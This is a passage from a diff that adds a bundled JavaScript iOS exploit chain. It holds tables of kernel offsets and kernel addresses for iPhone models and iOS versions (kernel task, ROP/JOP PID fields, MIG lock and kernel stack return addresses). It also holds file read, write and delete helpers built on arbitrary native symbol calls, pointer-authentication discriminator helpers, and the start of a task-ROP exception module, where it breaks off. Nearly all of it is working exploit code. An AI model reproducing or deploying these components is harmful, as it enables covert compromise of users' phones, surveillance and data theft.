0x28n, + excGuard: 0x5dcn, + kstackptr: 0xf8n, + ropPid: 0x160n, + jopPid: 0x168n, + guardExcCode: 0x330n, + taskThreads: 0x380n, + tro: 0x388n, + ast: 0x3acn, + mutexData: 0x3b8n, + ctid: 0x438n + }, + 1: { + kernelTask: 0xa494a0n, + taskThreads: 0x378n, + tro: 0x380n, + ast: 0x3a4n, + mutexData: 0x3b0n, + ctid: 0x430n + }, + 2: { + kernelTask: 0xa518c8n + }, + 3: { + kernelTask: 0xa498c8n + }, + 4: { + kernelTask: 0xacea90n, + procRO: 0x3c0n, + excGuard: 0x5fcn, + taskThreads: 0x380n, + tro: 0x388n, + ast: 0x3acn, + mutexData: 0x3b8n, + ctid: 0x438n + }, + 5: { + kernelTask: 0xad6b78n, + migLock: 0x38d74e8n, + migSbxMsg: 0x38d7508n, + migKernelStackLR: 0x31b19e4n, + }, + 6: { + kernelTask: 0xad6c88n, + guardExcCode: 0x338n, + taskThreads: 0x388n, + tro: 0x390n, + ast: 0x3b4n, + mutexData: 0x3c0n, + ctid: 0x440n, + migLock: 0x38e34e8n, + migSbxMsg: 0x38e3508n, + migKernelStackLR: 0x31ba7a0n, + } + } + }, + "3": { + 23: { + 4: { + kernelTask: 0x974588n + }, + 5: { + kernelTask: 0x9789d8n + }, + 6: { + kernelTask: 0x974938n + }, + 6.1: { + kernelTask: 0x974988n + } + }, + 24: { + 0: { + kernelTask: 0xa49488n + }, + 1: { + kernelTask: 0xa4d4a0n + }, + 2: { + kernelTask: 0xa558c8n + }, + 3: { + kernelTask: 0xa4d8c8n + }, + 4: { + kernelTask: 0xacea90n + }, + 5: { + kernelTask: 0xad6b78n, + migLock: 0x38d74e8n, + migSbxMsg: 0x38d7508n, + migKernelStackLR: 0x31b19e4n, + }, + 6: { + kernelTask: 0xad6c88n, + migLock: 0x38e7468n, + migSbxMsg: 0x38e7488n, + migKernelStackLR: 0x31bf5a0n, + } + } + }, + "5": { + 23: { + 4: { + kernelTask: 0x974588n + }, + 5: { + kernelTask: 0x9789d8n + }, + 6: { + kernelTask: 0x974938n + }, + 6.1: { + kernelTask: 0x974988n + } + }, + 24: { + 0: { + kernelTask: 0xa49488n + }, + 1: { + kernelTask: 0xa4d4a0n + }, + 2: { + kernelTask: 0xa558c8n + }, + 3: { + kernelTask: 0xa4d8c8n + }, + 4: { + kernelTask: 0xacea90n + }, + 5: { + kernelTask: 0xad6b78n, + migLock: 0x38d74e8n, + migSbxMsg: 0x38d7508n, + migKernelStackLR: 0x31b19e4n, + }, + 6: { + kernelTask: 0xad6c88n, + migLock: 0x38e7468n, + migSbxMsg: 0x38e7488n, + migKernelStackLR: 0x31bf5a0n, + } + } + }, + "8": { + 23: { + 4: { + kernelTask: 0x960588n + }, + 5: { + kernelTask: 0x9649d8n + }, + 6: { + kernelTask: 0x964938n + }, + 6.1: { + kernelTask: 0x964988n + } + }, + 24: { + 0: { + kernelTask: 0xa35488n + }, + 1: { + kernelTask: 0xa354a0n + }, + 2: { + kernelTask: 0xa3d8c8n + }, + 3: { + kernelTask: 0xa358c8n + }, + 4: { + kernelTask: 0xab6a90n + }, + 5: { + kernelTask: 0xabeb78n + }, + 6: { + kernelTask: 0xac2c88n, + migLock: 0x387a8e8n, + migSbxMsg: 0x387a908n, + migKernelStackLR: 0x3156f20n, + } + } + } + }, + + // iPhone 12 + // iPhone 12 Mini + // iPhone 12 Pro + // iPhone 12 Pro Max + "iPhone13": { + "*": { + 23: { + 0: { + pComm: 0x568n, + excGuard: 0x5bcn, + kstackptr: 0xf0n, + ropPid: 0x158n, + jopPid: 0x160n, + guardExcCode: 0x318n, + taskThreads: 0x358n, + tro: 0x368n, + ast: 0x38cn, + mutexData: 0x390n, + ctid: 0x418n, + troTask: 0x20n + }, + 3: { + kernelTask: 0x94c2d0n, + guardExcCode: 0x328n, + taskThreads: 0x368n, + tro: 0x378n, + ast: 0x39cn, + mutexData: 0x3a8n, + ctid: 0x428n + }, + 4: { + kernelTask: 0x9546e0n, + pComm: 0x56cn, + troTask: 0x28n, + guardExcCode: 0x330n, + taskThreads: 0x370n, + tro: 0x380n, + ast: 0x3a4n, + mutexData: 0x3b0n, + ctid: 0x430n, + procRO: 0x388n + }, + 5: { + kernelTask: 0x954b30n + }, + 6: { + kernelTask: 0x954a90n + }, + 6.1: { + kernelTask: 0x954ae0n + } + }, + 24: { + 0: { + kernelTask: 0xa295e0n, + pComm: 0x56cn, + procRO: 0x3a0n, + ipcSpace: 0x318n, + troTask: 0x28n, + excGuard: 0x5dcn, + kstackptr: 0xf8n, + ropPid: 0x160n, + jopPid: 0x168n, + guardExcCode: 0x330n, + taskThreads: 0x380n, + tro: 0x388n, + ast: 0x3acn, + mutexData: 0x3b8n, + ctid: 0x438n + }, + 1: { + kernelTask: 0xa2d5f8n, + taskThreads: 0x378n, + tro: 0x380n, + ast: 0x3a4n, + mutexData: 0x3b0n, + ctid: 0x430n + }, + 2: { + kernelTask: 0xa35a20n + }, + 3: { + kernelTask: 0xa2da20n + }, + 4: { + kernelTask: 0xa9ebe8n, + procRO: 0x3c0n, + excGuard: 0x5fcn, + taskThreads: 0x380n, + tro: 0x388n, + ast: 0x3acn, + mutexData: 0x3b8n, + ctid: 0x438n, + migLock: 0x37b8b80n, + migSbxMsg: 0x37b8ba0n, + migKernelStackLR: 0x3190fa0n + }, + 5: { + kernelTask: 0xaa6cd0n, + migLock: 0x37d4c90n, + migSbxMsg: 0x37d4cb0n, + migKernelStackLR: 0x31acce4n + }, + 6: { + kernelTask: 0xaaade0n, + guardExcCode: 0x338n, + taskThreads: 0x388n, + tro: 0x390n, + ast: 0x3b4n, + mutexData: 0x3c0n, + ctid: 0x440n, + migLock: 0x37dcc90n, + migSbxMsg: 0x37dccb0n, + migKernelStackLR: 0x31b5b60n, + } + } + } + }, + + // iPhone 13 + // iPhone 13 Mini + // iPhone 13 Pro + // iPhone 13 Pro Max + // iPhone SE 3 + // iPhone 14 + // iPhone 14 Plus + "iPhone14": { + "*": { + 23: { + 0: { + pComm: 0x568n, + excGuard: 0x5d4n, + kstackptr: 0xf0n, + ropPid: 0x160n, + jopPid: 0x168n, + guardExcCode: 0x330n, + taskThreads: 0x370n, + tro: 0x380n, + ast: 0x3a4n, + mutexData: 0x3b0n, + ctid: 0x430n, + troTask: 0x20n + }, + 3: { + kernelTask: 0x918ee0n, + }, + 4: { + kernelTask: 0x91d318n, + pComm: 0x56cn, + troTask: 0x28n, + guardExcCode: 0x338n, + taskThreads: 0x378n, + tro: 0x388n, + ast: 0x3acn, + mutexData: 0x3b8n, + ctid: 0x438n + }, + 5: { + kernelTask: 0x925770n + }, + 6: { + kernelTask: 0x9256d0n + }, + 6.1: { + kernelTask: 0x925720n + } + }, + 24: { + 0: { + kernelTask: 0x9f6230n, + pComm: 0x56cn, + procRO: 0x3b8n, + ipcSpace: 0x318n, + troTask: 0x28n, + excGuard: 0x5f4n, + kstackptr: 0xf8n, + ropPid: 0x168n, + jopPid: 0x170n, + guardExcCode: 0x338n, + taskThreads: 0x388n, + tro: 0x390n, + ast: 0x3b4n, + mutexData: 0x3c0n, + ctid: 0x440n + }, + 1: { + kernelTask: 0x9f6248n, + taskThreads: 0x380n, + tro: 0x388n, + ast: 0x3acn, + mutexData: 0x3b8n, + ctid: 0x438n + }, + 2: { + kernelTask: 0xa02678n + }, + 3: { + kernelTask: 0x9fa678n + }, + 4: { + kernelTask: 0xa67b18n, + procRO: 0x3e0n, + excGuard: 0x624n, + taskThreads: 0x388n, + tro: 0x390n, + ast: 0x3b4n, + mutexData: 0x3c0n, + ctid: 0x448n, + migLock: 0x382c218n, + migSbxMsg: 0x382c238n, + migKernelStackLR: 0x317d020n + }, + 5: { + kernelTask: 0xa6fc00n, + migLock: 0x3848428n, + migSbxMsg: 0x3848448n, + migKernelStackLR: 0x31994a4n + }, + 6: { + kernelTask: 0xa73d10n, + guardExcCode: 0x340n, + taskThreads: 0x390n, + tro: 0x398n, + ast: 0x3bcn, + mutexData: 0x3c8n, + ctid: 0x450n, + migLock: 0x38543a8n, + migSbxMsg: 0x38543c8n, + migKernelStackLR: 0x31a27e0n, + } + } + }, + "6": { + 23: { + 4: { + kernelTask: 0x92d318n + }, + 5: { + kernelTask: 0x935770n + }, + 6: { + kernelTask: 0x9316d0n + }, + 6.1: { + kernelTask: 0x931720n + } + }, + 24: { + 0: { + kernelTask: 0xa06230n + }, + 1: { + kernelTask: 0xa06248n + }, + 2: { + kernelTask: 0xa12678n + }, + 3: { + kernelTask: 0xa0a678n + }, + 4: { + kernelTask: 0xa77b18n, + migLock: 0x3898c18n, + migSbxMsg: 0x3898c38n, + migKernelStackLR: 0x31dff60n + }, + 5: { + kernelTask: 0xa7fc00n, + migLock: 0x38b4e28n, + migSbxMsg: 0x38b4e48n, + migKernelStackLR: 0x31fc3e4n + }, + 6: { + kernelTask: 0xa83d10n, + migLock: 0x38bcda8n, + migSbxMsg: 0x38bcdc8n, + migKernelStackLR: 0x3205560n, + } + } + }, + "7": { + 23: { + 4: { + kernelTask: 0x919318n + }, + 5: { + kernelTask: 0x921770n + }, + 6: { + kernelTask: 0x9216d0n + }, + 6.1: { + kernelTask: 0x921720n + } + }, + 24: { + 0: { + kernelTask: 0x9f2230n + }, + 1: { + kernelTask: 0x9f2248n + }, + 2: { + kernelTask: 0x9fe678n + }, + 3: { + kernelTask: 0x9f6678n + }, + 4: { + kernelTask: 0xa67b18n, + migLock: 0x3813d98n, + migSbxMsg: 0x3813db8n, + migKernelStackLR: 0x3163ae0n + }, + 5: { + kernelTask: 0xa6fc00n, + migLock: 0x382ffa8n, + migSbxMsg: 0x382ffc8n, + migKernelStackLR: 0x317ffa4n + }, + 6: { + kernelTask: 0xa6fd10n, + migLock: 0x3833fa8n, + migSbxMsg: 0x3833fc8n, + migKernelStackLR: 0x31852a0n, + } + } + }, + "8": { + 23: { + 4: { + kernelTask: 0x919318n + }, + 5: { + kernelTask: 0x921770n + }, + 6: { + kernelTask: 0x9216d0n + }, + 6.1: { + kernelTask: 0x921720n + } + }, + 24: { + 0: { + kernelTask: 0x9f2230n + }, + 1: { + kernelTask: 0x9f2248n + }, + 2: { + kernelTask: 0x9fe678n + }, + 3: { + kernelTask: 0x9f6678n + }, + 4: { + kernelTask: 0xa67b18n, + migLock: 0x3813d98n, + migSbxMsg: 0x3813db8n, + migKernelStackLR: 0x3163ae0n + }, + 5: { + kernelTask: 0xa6fc00n, + migLock: 0x382ffa8n, + migSbxMsg: 0x382ffc8n, + migKernelStackLR: 0x317ffa4n + }, + 6: { + kernelTask: 0xa6fd10n, + migLock: 0x3833fa8n, + migSbxMsg: 0x3833fc8n, + migKernelStackLR: 0x31852a0n, + } + } + } + }, + + // iPhone 14 Pro + // iPhone 14 Pro Max + // iPhone 15 + // iPhone 15 Plus + "iPhone15": { + "*": { + 23: { + 0: { + pComm: 0x568n, + excGuard: 0x5d4n, + kstackptr: 0xf0n, + ropPid: 0x160n, + jopPid: 0x168n, + guardExcCode: 0x330n, + taskThreads: 0x370n, + tro: 0x380n, + ast: 0x3a4n, + mutexData: 0x3b0n, + ctid: 0x430n, + troTask: 0x20n + }, + 3: { + kernelTask: 0x914e00n, + }, + 4: { + kernelTask: 0x919238n, + pComm: 0x56cn, + troTask: 0x28n, + guardExcCode: 0x338n, + taskThreads: 0x378n, + tro: 0x388n, + ast: 0x3acn, + mutexData: 0x3b8n, + ctid: 0x438n + }, + 5: { + kernelTask: 0x921690n + }, + 6: { + kernelTask: 0x9215f0n + }, + 6.1: { + kernelTask: 0x921640n + }, + 6.2: { + kernelTask: 0x91d640n + } + }, + 24: { + 0: { + kernelTask: 0x9ee150n, + pComm: 0x56cn, + procRO: 0x3b8n, + ipcSpace: 0x318n, + troTask: 0x28n, + excGuard: 0x5f4n, + kstackptr: 0xf8n, + ropPid: 0x168n, + jopPid: 0x170n, + guardExcCode: 0x338n, + taskThreads: 0x388n, + tro: 0x390n, + ast: 0x3b4n, + mutexData: 0x3c0n, + ctid: 0x440n + }, + 1: { + kernelTask: 0x9f2168n, + taskThreads: 0x380n, + tro: 0x388n, + ast: 0x3acn, + mutexData: 0x3b8n, + ctid: 0x438n + }, + 2: { + kernelTask: 0x9fe598n + }, + 3: { + kernelTask: 0x9f6598n + }, + 4: { + kernelTask: 0xa67c18n, + procRO: 0x3e0n, + excGuard: 0x624n, + taskThreads: 0x388n, + tro: 0x390n, + ast: 0x3b4n, + mutexData: 0x3c0n, + ctid: 0x448n, + migLock: 0x37863f8n, + migSbxMsg: 0x3786418n, + migKernelStackLR: 0x3131620n + }, + 5: { + kernelTask: 0xa6fd00n, + migLock: 0x37a2788n, + migSbxMsg: 0x37a27a8n, + migKernelStackLR: 0x314dc24n + }, + 6: { + kernelTask: 0xa6fe10n, + guardExcCode: 0x340n, + taskThreads: 0x390n, + tro: 0x398n, + ast: 0x3bcn, + mutexData: 0x3c8n, + ctid: 0x450n, + migLock: 0x37aa708n, + migSbxMsg: 0x37aa728n, + migKernelStackLR: 0x3152ee0n + } + } + }, + "4": { + 23: { + 4: { + kernelTask: 0x941238n + }, + 5: { + kernelTask: 0x949690n + }, + 6: { + kernelTask: 0x9495f0n + }, + 6.1: { + kernelTask: 0x949640n + } + }, + 24: { + 0: { + kernelTask: 0xa2a150n + }, + 1: { + kernelTask: 0xa2a168n + }, + 2: { + kernelTask: 0xa3a598n + }, + 3: { + kernelTask: 0xa32598n + }, + 4: { + kernelTask: 0xaa3c18n, + migLock: 0x38c5388n, + migSbxMsg: 0x38c53a8n, + migKernelStackLR: 0x325f1e0n + }, + 5: { + kernelTask: 0xaa7d00n, + migLock: 0x38dd698n, + migSbxMsg: 0x38dd6b8n, + migKernelStackLR: 0x32777e4n + }, + 6: { + kernelTask: 0xaabe10n, + migLock: 0x38e5618n, + migSbxMsg: 0x38e5638n, + migKernelStackLR: 0x3280aa0n, + } + } + }, + "5": { + 23: { + 4: { + kernelTask: 0x941238n + }, + 5: { + kernelTask: 0x949690n + }, + 6: { + kernelTask: 0x9495f0n + }, + 6.1: { + kernelTask: 0x949640n + } + }, + 24: { + 0: { + kernelTask: 0xa2a150n + }, + 1: { + kernelTask: 0xa2a168n + }, + 2: { + kernelTask: 0xa3a598n + }, + 3: { + kernelTask: 0xa32598n + }, + 4: { + kernelTask: 0xaa3c18n, + migLock: 0x38c5388n, + migSbxMsg: 0x38c53a8n, + migKernelStackLR: 0x325f1e0n + }, + 5: { + kernelTask: 0xaa7d00n, + migLock: 0x38dd698n, + migSbxMsg: 0x38dd6b8n, + migKernelStackLR: 0x32777e4n + }, + 6: { + kernelTask: 0xaabe10n, + migLock: 0x38e5618n, + migSbxMsg: 0x38e5638n, + migKernelStackLR: 0x3280aa0n, + } + } + } + }, + + // iPhone 15 Pro + // iPhone 15 Pro Max + "iPhone16": { + "*": { + 23: { + 0: { + pComm: 0x568n, + excGuard: 0x5d4n, + kstackptr: 0x140n, + ropPid: 0x1b0n, + jopPid: 0x1b8n, + guardExcCode: 0x380n, + taskThreads: 0x3c0n, + tro: 0x3d0n, + ast: 0x3f4n, + mutexData: 0x400n, + ctid: 0x480n, + troTask: 0x20n + }, + 3: { + kernelTask: 0x978ef0n, + }, + 4: { + kernelTask: 0x991eb0n, + pComm: 0x56cn, + troTask: 0x28n, + options: 0xc0n, + guardExcCode: 0x388n, + taskThreads: 0x3c8n, + tro: 0x3d8n, + ast: 0x3fcn, + mutexData: 0x408n, + ctid: 0x488n + }, + 5: { + kernelTask: 0x99a308n, + }, + 6: { + kernelTask: 0x99a268n + }, + 6.1: { + kernelTask: 0x99a2b8n + }, + 6.2: { + kernelTask: 0x9962b8n + } + }, + 24: { + 0: { + kernelTask: 0xaae870n, + pComm: 0x56cn, + procRO: 0x3b8n, + ipcSpace: 0x318n, + troTask: 0x28n, + excGuard: 0x5f4n, + kstackptr: 0x148n, + ropPid: 0x1b8n, + jopPid: 0x1c0n, + guardExcCode: 0x388n, + taskThreads: 0x3d8n, + tro: 0x3e0n, + ast: 0x404n, + mutexData: 0x410n, + ctid: 0x490n, + options: 0xc0n + }, + 1: { + kernelTask: 0xaae888n, + taskThreads: 0x3d0n, + tro: 0x3d8n, + ast: 0x3fcn, + mutexData: 0x408n, + ctid: 0x488n + }, + 2: { + kernelTask: 0xab6cb8n + }, + 3: { + kernelTask: 0xab2cb8n + }, + 4: { + kernelTask: 0xb23d28n, + procRO: 0x3e0n, + excGuard: 0x624n, + taskThreads: 0x3d8n, + tro: 0x3e0n, + ast: 0x404n, + mutexData: 0x410n, + ctid: 0x498n, + migLock: 0x3c03ef0n, + migSbxMsg: 0x3c03f10n, + migKernelStackLR: 0x3582fe0n + }, + 5: { + kernelTask: 0xb2be10n, + migLock: 0x3c181a8n, + migSbxMsg: 0x3c181c8n, + migKernelStackLR: 0x35993a4n + }, + 6: { + kernelTask: 0xb2ff20n, + guardExcCode: 0x390n, + taskThreads: 0x3e0n, + tro: 0x3e8n, + ast: 0x40cn, + mutexData: 0x418n, + ctid: 0x4a0n, + migLock: 0x3c241a8n, + migSbxMsg: 0x3c241c8n, + migKernelStackLR: 0x35a26a0n, + } + } + } + }, + // iPhone 16 + // iPhone 16 plus + // iPhone 16 pro + // iPhone 16 pro max + "iPhone17": { + "*": { + 24: { + 0: { + kernelTask: 0xb7e1c8n, + pComm: 0x56cn, + procRO: 0x3b8n, + ipcSpace: 0x318n, + troTask: 0x28n, + excGuard: 0x5fcn, + kstackptr: 0x148n, + ropPid: 0x1b8n, + jopPid: 0x1c0n, + guardExcCode: 0x390n, + taskThreads: 0x3e0n, + tro: 0x3e8n, + ast: 0x40cn, + mutexData: 0x418n, + ctid: 0x4a8n, + options: 0xc0n + }, + 1: { + kernelTask: 0xb7e1e0n, + taskThreads: 0x3d8n, + tro: 0x3e0n, + ast: 0x404n, + mutexData: 0x410n, + ctid: 0x4a0n, + }, + 2: { + kernelTask: 0xb86610n + }, + 3: { + kernelTask: 0xb82610n + }, + 4: { + kernelTask: 0xc0fd80n, + procRO: 0x3e0n, + excGuard: 0x624n, + taskThreads: 0x3e0n, + tro: 0x3e8n, + ast: 0x40cn, + mutexData: 0x418n, + ctid: 0x4a8n, + migLock: 0x4042dc0n, + migSbxMsg: 0x4042de0n, + migKernelStackLR: 0x3912aa0n + }, + 5: { + kernelTask: 0xc17e68n, + migLock: 0x405eff8n, + migSbxMsg: 0x405f018n, + migKernelStackLR: 0x392be64n + }, + 6: { + kernelTask: 0xc1bf78n, + guardExcCode: 0x398n, + taskThreads: 0x3e8n, + tro: 0x3f0n, + ast: 0x414n, + mutexData: 0x420n, + ctid: 0x4b0n, + migLock: 0x4066f88n, + migSbxMsg: 0x4066fa8n, + migKernelStackLR: 0x39352e0n, + } + } + }, + "5": { + 24: { + 0: { + kernelTask: 0xb7e1c8n, + pComm: 0x56cn, + procRO: 0x3b8n, + ipcSpace: 0x318n, + troTask: 0x28n, + excGuard: 0x5fcn, + kstackptr: 0x148n, + ropPid: 0x1b8n, + jopPid: 0x1c0n, + guardExcCode: 0x390n, + taskThreads: 0x3e0n, + tro: 0x3e8n, + ast: 0x40cn, + mutexData: 0x418n, + ctid: 0x4a8n, + options: 0xc0n + }, + 1: { + kernelTask: 0xb7e1e0n, + taskThreads: 0x3d8n, + tro: 0x3e0n, + ast: 0x404n, + mutexData: 0x410n, + ctid: 0x4a0n, + }, + 2: { + kernelTask: 0xb86610n + }, + 3: { + kernelTask: 0xb82610n + }, + 4: { + kernelTask: 0xc0fd80n, + procRO: 0x3e0n, + excGuard: 0x624n, + taskThreads: 0x3e0n, + tro: 0x3e8n, + ast: 0x40cn, + mutexData: 0x418n, + ctid: 0x4a8n, + migLock: 0x408acd0n, + migSbxMsg: 0x408acf0n, + migKernelStackLR: 0x396e4a0n + }, + 5: { + kernelTask: 0xc17e68n, + migLock: 0x40a6f08n, + migSbxMsg: 0x40a6f28n, + migKernelStackLR: 0x3987924n + }, + 6: { + kernelTask: 0xc1ff78n, + guardExcCode: 0x398n, + taskThreads: 0x3e8n, + tro: 0x3f0n, + ast: 0x414n, + mutexData: 0x420n, + ctid: 0x4b0n, + migLock: 0x40b6e98n, + migSbxMsg: 0x40b6eb8n, + migKernelStackLR: 0x3998de0n, + } + } + } + } +} + + +/***/ }), + +/***/ "./src/libs/JSUtils/FileUtils.js": +/*!***************************************!*\ + !*** ./src/libs/JSUtils/FileUtils.js ***! + \***************************************/ +/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { + +__webpack_require__.r(__webpack_exports__); +/* harmony export */ __webpack_require__.d(__webpack_exports__, { +/* harmony export */ "default": () => (/* binding */ FileUtils) +/* harmony export */ }); + + +const TAG = "FILE-UTILS"; + +const O_RDONLY = 0x0000; +const O_WRONLY = 0x0001; +const O_RDWR = 0x0002; +const O_APPEND = 0x0008; +const O_CREAT = 0x0200; +const O_TRUNC = 0x0400; +const O_EVTONLY = 0x8000; + +const ERROR = -1; + +const DT = { + DT_UNKNOWN: 0, + DT_FIFO: 1, + DT_CHR: 2, + DT_DIR: 4, + DT_BLK: 6, + DT_REG: 8, + DT_LNK: 10, + DT_SOCK: 12, + DT_WHT: 14 +}; + +const SEEK_SET = 0; + +class FileUtils { + + + static open(path) { + const fd = Native.callSymbol("open", path, O_RDONLY); + if (fd == ERROR) { + console.log(TAG, "Unable to open: " + path); + return false; + } + return fd; + } + + static close(fd) { + Native.callSymbol("close", fd); + } + + static read(fd, size=0) { + if (!size || size > Native.memSize) + size = Native.memSize; + const len = Native.callSymbol("read", fd, Native.mem, size); + if (!len || len == ERROR) + return false; + const buff = Native.read(Native.mem, len); + return buff; + } + + static readFile(path, seek=0, length=0) { + const fd = this.open(path); + if (fd === false) + return null; + + let data = new Uint8Array(); + + if (seek) + Native.callSymbol("lseek", fd, seek, SEEK_SET); + + let remaining = length; + + while (true) { + let size = remaining ? remaining : Native.memSize; + if (size > Native.memSize) + size = Native.memSize; + const buff = this.read(fd, size); + if (buff === false) + break; + const buff8 = new Uint8Array(buff); + let newData = new Uint8Array(data.length + buff8.length); + newData.set(data, 0); + newData.set(buff8, data.length); + data = newData; + + if (remaining) { + remaining -= buff.byteLength; + if (!remaining) + break; + } + } + + this.close(fd); + + return data.buffer; + } + + static writeFile(path, data) { + return this.#commonWriteFile(path, data, O_WRONLY | O_CREAT | O_TRUNC); + } + + static appendFile(path, data) { + return this.#commonWriteFile(path, data, O_WRONLY | O_CREAT | O_APPEND); + } + + static deleteFile(path) { + Native.callSymbol("unlink", path); + } + static foreachDir(path, func) { + let dir = Native.callSymbol("opendir", path); + if (!dir) { + console.log(TAG, "Unable to open dir: " + path); + return; + } + + while (true) { + let item = this.#readdir(dir); + if (!item) + break; + + switch (item.d_type) { + case DT.DT_DIR: + if (item.d_name.startsWith(".")) + break; + func(item.d_name); + break; + } + } + + Native.callSymbol("closedir", dir); + } + + static foreachFile(path, func) { + let dir = Native.callSymbol("opendir", path); + if (!dir) { + console.log(TAG, "Unable to open dir: " + path); + return false; + } + + while (true) { + let item = this.#readdir(dir); + if (!item) + break; + + switch (item.d_type) { + case DT.DT_REG: + func(item.d_name); + break; + } + } + + Native.callSymbol("closedir", dir); + return true; + } + + static createDir(path, permission=0o755) { + return !Native.callSymbol("mkdir", path, permission); + } + + static deleteDir(path, recursive=false) { + if (recursive) { + const dir = Native.callSymbol("opendir", path); + if (!dir) { + console.log(TAG, "deleteDir: Unable to open dir: " + path); + return false; + } + + while (true) { + const item = this.#readdir(dir); + if (!item) + break; + + const newPath = path + '/' + item.d_name; + + switch (item.d_type) { + case DT.DT_DIR: + if (item.d_name.startsWith(".")) + break; + this.deleteDir(newPath, true); + break; + + case DT.DT_REG: + console.log(TAG, `deleting: ${newPath}`); + this.deleteFile(newPath); + break; + } + } + + Native.callSymbol("closedir", dir); + } + + return !Native.callSymbol("rmdir", path); + } + + static exists(path, permission=0/*F_OK*/) { + return !Native.callSymbol("access", path, permission); + } + + static stat(path) { + const ret = Native.callSymbol("stat", path, Native.mem); + if (ret == ERROR) + return null; + const buff = Native.read(Native.mem, 144); + const view = new DataView(buff); + + const dev = view.getInt32(0, true); + const mode = view.getUint16(0x4, true); + const nlink = view.getUint16(0x6, true); + const ino = view.getBigUint64(0x8, true); + const uid = view.getUint32(0x10, true); + const gid = view.getUint32(0x14, true); + const atime_tv_sec = view.getBigInt64(0x20, true); + const mtime_tv_sec = view.getBigInt64(0x30, true); + const ctime_tv_sec = view.getBigInt64(0x40, true); + const size = view.getBigInt64(0x60, true); + + return { + mode: Number(mode), + ino: Number(ino), + dev: Number(dev), + nlink: Number(nlink), + uid: Number(uid), + gid: Number(gid), + size: Number(size), + atime: Number(atime_tv_sec), + mtime: Number(mtime_tv_sec), + ctime: Number(ctime_tv_sec) + }; + } + + static #readdir(dir) { + const itemPtr = Native.callSymbol("readdir", dir); + if (!itemPtr) + return null; + + const item = Native.read(itemPtr, 24); + const view = new DataView(item); + + const d_ino = view.getBigUint64(0, true); + const d_namlen = view.getUint16(18, true); + const d_type = view.getUint8(20); + const d_name = Native.readString(itemPtr + 21n, d_namlen + 1); + + return { + d_ino: d_ino, + d_type: d_type, + d_name: d_name + }; + } + + static #commonWriteFile(path, data, flags) { + const fd = Native.callSymbol("open", path, flags, 0o644); + if (fd == ERROR) { + console.log(TAG, "Unable to open: " + path); + return false; + } + + // For some reason file mode is not applied on open() + Native.callSymbol("fchmod", fd, 0o644); + + let offs = 0; + let left = data.byteLength; + + const buffSize = 0x4000; + const buffPtr = Native.callSymbol("malloc", buffSize); + + while (true) { + const size = left > buffSize ? buffSize : left; + const src8 = new Uint8Array(data, offs, size); + const dst8 = new Uint8Array(src8); + Native.write(buffPtr, dst8.buffer); + const len = Native.callSymbol("write", fd, buffPtr, size); + if (!len || len == ERROR) + break; + offs += len; + left -= len; + if (!left) + break; + } + + Native.callSymbol("free", buffPtr); + Native.callSymbol("close", fd); + + return true; + } +} + + +/***/ }), + +/***/ "./src/libs/JSUtils/Utils.js": +/*!***********************************!*\ + !*** ./src/libs/JSUtils/Utils.js ***! + \***********************************/ +/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { + +__webpack_require__.r(__webpack_exports__); +/* harmony export */ __webpack_require__.d(__webpack_exports__, { +/* harmony export */ "default": () => (/* binding */ Utils) +/* harmony export */ }); + + +const TAG = "UTILS"; + +const DT = { + DT_UNKNOWN: 0, + DT_FIFO: 1, + DT_CHR: 2, + DT_DIR: 4, + DT_BLK: 6, + DT_REG: 8, + DT_LNK: 10, + DT_SOCK: 12, + DT_WHT: 14 +}; + +class Utils { + + static UINT64_SIZE = 8; + static UINT32_SIZE = 4; + static UINT16_SIZE = 2; + static ARM_THREAD_STATE64 = 6; + static ARM_THREAD_STATE64_SIZE = 0x110; + static ARM_THREAD_STATE64_COUNT = (this.ARM_THREAD_STATE64_SIZE / this.UINT32_SIZE); + static ptrauth_key_asia = 0; + static EXC_BAD_ACCESS = 1n; + static EXC_GUARD = 12n; + static EXC_MASK_GUARD = (1n << this.EXC_GUARD); + static EXC_MASK_BAD_ACCESS = (1n << this.EXC_BAD_ACCESS); + static EXCEPTION_STATE = 2n; + static MACH_EXCEPTION_CODES = 0x80000000n; + static PAGE_SIZE = 0x4000n; + static PAGE_MASK = (this.PAGE_SIZE - 1n); + + static hex(val) { + return val.toString(16); + } + + static memmem(haystack, needle) { + const hLen = haystack.byteLength; + const nLen = needle.byteLength; + + if (nLen === 0 || hLen < nLen) { + return 0; + } + + const haystackView = new Uint8Array(haystack); + const needleView = new Uint8Array(needle); + + for (let i = 0; i <= hLen - nLen; i++) { + let found = true; + for (let j = 0; j < nLen; j++) { + if (haystackView[i + j] !== needleView[j]) { + found = false; + break; + } + } + if (found) { + return i; + } + } + + return 0; + } + + static ptrauth_string_discriminator(discriminator) + { + switch (discriminator) { + case "pc": + return 0x7481n; + case "lr": + return 0x77d3n; + case "sp": + return 0xcbedn; + case "fp": + return 0x4517n; + default: + console.log(TAG,`Cannot find discriminator for value:${discriminator}`); + return 0n; + } + } + + static ptrauth_string_discriminator_special(discriminator) + { + switch (discriminator) { + case "pc": + return 0x7481000000000000n; + case "lr": + return 0x77d3000000000000n; + case "sp": + return 0xcbed000000000000n; + case "fp": + return 0x4517000000000000n; + default: + console.log(TAG,`Cannot find discriminator for value:${discriminator}`); + return 0n; + } + } + + static ptrauth_blend_discriminator(diver,discriminator) + { + return diver & 0xFFFFFFFFFFFFn | discriminator; + } + + static printArrayBufferInChunks(buffer) { + const view = new DataView(buffer); + const chunkSize = 8; + + for (let i = 0; i < buffer.byteLength; i += chunkSize) { + // Read the chunk as a BigInt + const chunk = view.getBigUint64(i, true); // Little-endian + + console.log(TAG, `0x${Utils.hex(i)}: ${Utils.hex(chunk)}`); + } + } + + static MIN(a, b) + { + if(a < b) + return a; + return b; + } + + static MAX(a, b) + { + if(a > b) + return a; + return b; + } +} + + +/***/ }), + +/***/ "./src/libs/TaskRop/Exception.js": +/*!***************************************!*\ + !*** ./src/libs/TaskRop/Exception.js ***! + \***************************************/ +/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { + +__webpack_require__.r(__webpack_exports__); +/* harmony export */ __webpack_require__.d(__webpack_exports__, { +/* harmony export */ "default": () => (/* binding */ Exception) +/* harmony export */ }); +/* harmony import */ var libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! libs/Chain/Native */ "./src/libs/Chain/Native.js"); +/* harmony import */ var libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! libs/JSUtils/Utils */ "./src/libs/JSUtils/Utils.js"); +/* harmony import */ var 